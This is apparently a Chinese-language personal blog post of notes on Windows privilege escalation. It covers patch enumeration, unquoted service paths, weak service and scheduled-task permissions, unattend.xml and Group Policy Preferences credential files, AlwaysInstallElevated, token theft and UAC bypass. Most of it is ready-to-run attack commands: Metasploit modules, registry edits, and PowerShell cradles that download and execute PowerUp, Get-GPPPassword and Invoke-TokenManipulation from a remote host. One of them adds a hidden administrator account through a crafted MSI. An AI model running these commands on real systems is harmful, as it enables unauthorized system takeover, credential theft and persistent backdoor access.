windows提权_2

windows提权_2

对windows的一些常见的提权手法进行一个总结

windows 系统内核提权漏洞

缓冲区溢出漏洞,通过修改内存中变量的值,可以劫持进程,执行恶意代码,最终获取到系统权限。

通过查看系统补丁,看当前系统哪些没有进行打补丁,就去寻找相关的漏洞。

windows不同系统提取的漏洞和补丁的相关信息

1.手动寻找补丁信息:

1
2
systeminfo
wmic qfe get caption,description,hotfixid,installedon

2.自动查找系统潜在的漏洞。

2.1 Windows Exploit Suggester

2.2 利用msf中的相关模块

1
2
3
4
//列出可能本地提权的exploit
use post/multi/recon/local_exploit_suggester
set session 1 / 当我们获取到一个shell之后设置的
run

image-20250311192517366

image-20250311200222979

1
2
3
4
//通过本模块获取缺少的补丁信息
use post/windows/gather/enum_patches
set session 1 / 当我们获取到一个shell之后设置的
run

相关的提权工具:https://github.com/klsfct/getshell

错误的系统配置提权

1.未正确解析服务可执行文件路径所引发的漏洞。

举一个例子:

1
"C:\Program Files\Some Folder\Service.exe"

对于路径前面的空格,windows会去寻找与其相关的exe文件,如果匹配到了就进行执行,没匹配到就接着匹配,上面的例子中windows会先寻找C:\Program.exe 然后是C:\Program Files\Some.exe 最后才是C:\Program Files\Some Folder\Service.exe,由此我们可以构造一个恶意的exe文件,然后将其放到特定的目录下(需要判断目录是否有可写入的权限,利用icacls),当系统匹配到的时候,会以system权限来运行这个exe文件。

然后重启这个服务。

1
2
sc stop "服务"
sc start "服务"
1
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """    //列出当前主机具有空格并且未加引号的服务路径

再msf中也有相对应的模块:

1
2
3
4
use exploit/windows/local/unquoted_service_path
set session 1
set AutoRunScript migrate -f //进行进程迁移的 当一个进程再windows中启动时,就会与服务控制管理进行一个通信,如果没有进行通信,服务控制管理就会认为它是出错的,进行关闭这个进程,所以我们要进行进程迁移
run

2.系统权限配置错误漏洞

低权限用户,对系统服务调用的可执行文件具有写的权限,那么就可以控制这个可执行文件,将其变成我们自己构造的。

该漏洞有以下两种情况:

1.该服务未启动,将自己所构造的一个恶意服务所代替。

2.服务正在运行且无法中止,利用DLL劫持,尝试重启服务。

这里利用 https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1 里面的AllChecks模块能自动检测服务漏洞,通过替换可执行文件来实现权限的提升。

1
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.29.157:8081/PowerUp.ps1');Invoke-ALLChecks"

具体的参考:https://www.freebuf.com/articles/network/247980.html

再msf中相应的模块:

1
2
3
use exploit/windows/local/service_permissions
set session 1
run

计划任务与AccessChk使用

如果高权限运行的计划任务所在的目录能被普通用户写入,那么就能够进行一个利用,将生成的恶意文件代替原来的文件。

1
schtasks /query /fo list /v > 1.txt 将定时任务的输出结果写入到一个txt文件中

利用微软的一个工具进行检查权限(AccessChk)这个通常不会被杀毒软件给检测到。

1
2
3
4
5
6
7
8
9
10
查看指定目录下的权限 
accesschk.exe -dqv "xxxxxxx" -accepteula //accepteula是第一次所使用时接受相关的协议。
找出某个驱动下权限配置有缺陷的文件夹:
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\ //Authenticated Users 对这些服务的权限

找出某个驱动下权限配置有缺陷的文件:
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

敏感文件信息泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
再内网中配置环境时,通常不会逐台进行配置,通常是用脚本进行批量化的配置,再这一过程会使用安装配置文件,里面有时候会存放着管理员的一些敏感信息,比如账户密码等,下面是需要关注的相关文件。
C:\sysprep.inf

C:\syspreg\sysprep.xml

C:\Windows\system32\sysprep.inf

C:\windows\system32\sysprep\sysprep.xml

C:\unattend.xml

C:\Windows\Panther\Unattend.xml

C:\Windows\Panther\Unattended.xml

C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattend\Unattend.xml

C:\Windows\System32\Sysprep\Unattend.xml

C:\Windows\System32\Sysprep\Panther\Unattend.xml

一个是Unattend.xml文件 一个是sysprep.xml文件

post/windows/gather/enum_unattend msf中对应的模块

注册表键AlwaysInstallElevated提权

AlwaysInstallElevated是一个策略设置项,如果开启的话,windows允许低权限用户以system权限来运行安装MSI文件。

Windows Install 是windows系统组件之一,用来管理和配置软件服务,它由两个部分组成, Msiexec.exe和MSI文件,Msiexec.exe是用来安装MSI服务的,而MSI则是用来安装程序的,包含安装和卸载程序时所加载的大量指令和数据。

该漏洞产生的原因:Windows Install开启了特权安装功能。

cmd设置成gpedit.msc 打开组策略编辑器。

image-20250314214815355

也可以利用命令行的方式进行设置:

1
2
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

设置完成之后,我们可以看一下注册表中的信息,来判断它是否被开启。

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

image-20250314220643636

是1的话就是开启的。

也可以利用Poweup中的 RegistryAlwaysInstallElevated模块来检查

1
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.29.157:8081/PowerUp.ps1');Get-RegAlwaysInstallElevated

image-20250314222738015

返回True即是能进行利用的,返回False则是不能。

Poweup进行利用,利用里面的Write-UserAddMSI添加一个具有管理员权限的用户。

1
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.29.157:8081/PowerUp.ps1');Write-UserAddMSI

运行完成之后首先会在运行所在的目录下生成一个msi文件,然后利用msiexec运行一下。

image-20250314225103495

1
msiexec /q /i UserAdd.msi

image-20250314225155896

image-20250314225248443

可以看到已经生成了一个后门用户到里面,并且是administrator组的。

当我们运行完成关闭cmd之后,这个msi文件会保存在c:\Windows\installer下。

image-20250314230305951

在msf中利用模块:

1
exploit/windows/local/always_install_elevated

image-20250314234430025

这个提权利用手法首先先查看注册表的信息,看是否开启了,如果开启的话就能利用AIwaysInstallElevated进行提权。

Windows组策略首选项提权

sysvol是活动目录里面一个用于存储公共文件服务器副本的一个共享文件夹,在创建AD的时候自行创建,默认安装在C:\Windows下,主要用来存放登录脚本,组策略数据,以及其他域控制器需要的域信息等。SYSVOL在所有经过身份验证的域用户或者域信任用户范围内共享,能够查看里面的相关信息,在一般的域环境中,通常是利用脚本进行批量化的部署,为了统一管理,网络管理员会设置域策略,当一台机器加入到域中,有的服务通常会要求使用域用户密码进行登录验证,为了保证本地管理员密码的安全性,通常会设置组策略进行批量的更改密码,这样会导致一个问题,就是密码都是一样的,并且更改后的密码会以AES-256加密的形式在SYSVOL目录下的一个xml文件中,这个密码是可以进行破解的,微软给了相关的密钥(2012年之前的),这样我们就能破解出密码,从而控制域中使用该账户的机器。

image-20250315150950716

image-20250315151005723

powershell利用方法:

1
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.29.157:8081/Get-GPPPassword.ps1');Get-GPPPassword

msf下的利用方法:

1
2
3
use post/windows/gather/credentials/gpp
set session xxx
run

Windows 令牌窃取

令牌是系统的临时密钥,它可以让我们在不使用账户密码的前提下访问某个服务,令牌的最大特点就是随机性。

windows令牌模拟的攻击可以简单理解成 我们手拿着一个高权限用户的身份牌 然后执行这个身份牌所属权限能执行的操作。

核心思想还是kerberos协议这个后面再细看。

MSF下的利用:

1
2
3
4
5
6
7
8
9
通常是由administrator权限升级到system权限 如果是普通权限的话可能列出来的不多
use incognito //在meterpreter模式下 加载incognito模块
list_tokens -u //列出可用的访问令牌
impersonate_token "NT AUTHORITY\SYSTEM"

如果上面的不行的话可以ps看一下 哪些进程是sysytem权限运行的
steal_token xxx //窃取相应进程的令牌
getsystem //提权
rev2self //返回到之前的权限

image-20250315180420364

这个的话就需要用到ps。

image-20250315180509461

image-20250315180822207

Powershell下的应用:

1
2
3
4
powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.29.157:8081/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -Enumerate

powershell -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.29.157:8081/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt AUTHORITY\SYSTEM"

上面的命令得再管理员权限下运行。

土豆系列的提权。

绕过UAC提权

什么是UAC以及UAC的运行机制:

英文名称User Account Control 简称UAC(用户账户控制),是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制,旨在防护恶意程序未经用户同意获取系统的最高权限。无论是管理员用户还是普通用户 再运行程序时默认都是低权限的 当执行可能危害到系统安全的时候就会触发 UAC(例如修改注册表的信息 运行第三方程序 执行提权的操作) 如果是管理员用户就需要授权 如果是普通用户的话需要输入管理员密码。

绕过手法:

1
2
3
4
5
6
7
8
9
10
利用白名单程序
Windows 允许某些自带程序以高权限运行,不触发 UAC,比如 fodhelper.exe,攻击者可以利用注册表劫持,让它执行自己的恶意代码。

劫持 DLL(动态链接库)
一些高权限程序会加载特定的 DLL 文件,攻击者可以创建一个恶意 DLL,让目标程序自动执行它。

COM 对象劫持
Windows 内部的 COM 组件管理有一些权限漏洞,可以通过注册表修改,使某些高权限程序执行攻击者的代码。

利用CVE-2019-1388绕过UAC提权

检查UAC是否开启:

1
2
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
1的话是开 0是关闭

image-20250315221456455

此时这个是开启的。

MSF下的利用:

1
2
3
4
5
6
7
8
9
10
11
exploit/windows/local/ask       # 弹出UAC确认窗口,然后诱使用户点击后获得system权限

exploit/windows/local/bypassuac # 此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC的第二个shell。

exploit/windows/local/bypassuac_injection # 此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_fodhelper # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10的UAC。它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_eventvwr # 此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_comhijack # 此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。

image-20250315224848739


windows提权_2
http://example.com/2025/03/04/再谈windows系统提权/
作者
FSRM
发布于
2025年3月4日
更新于
2025年3月21日
许可协议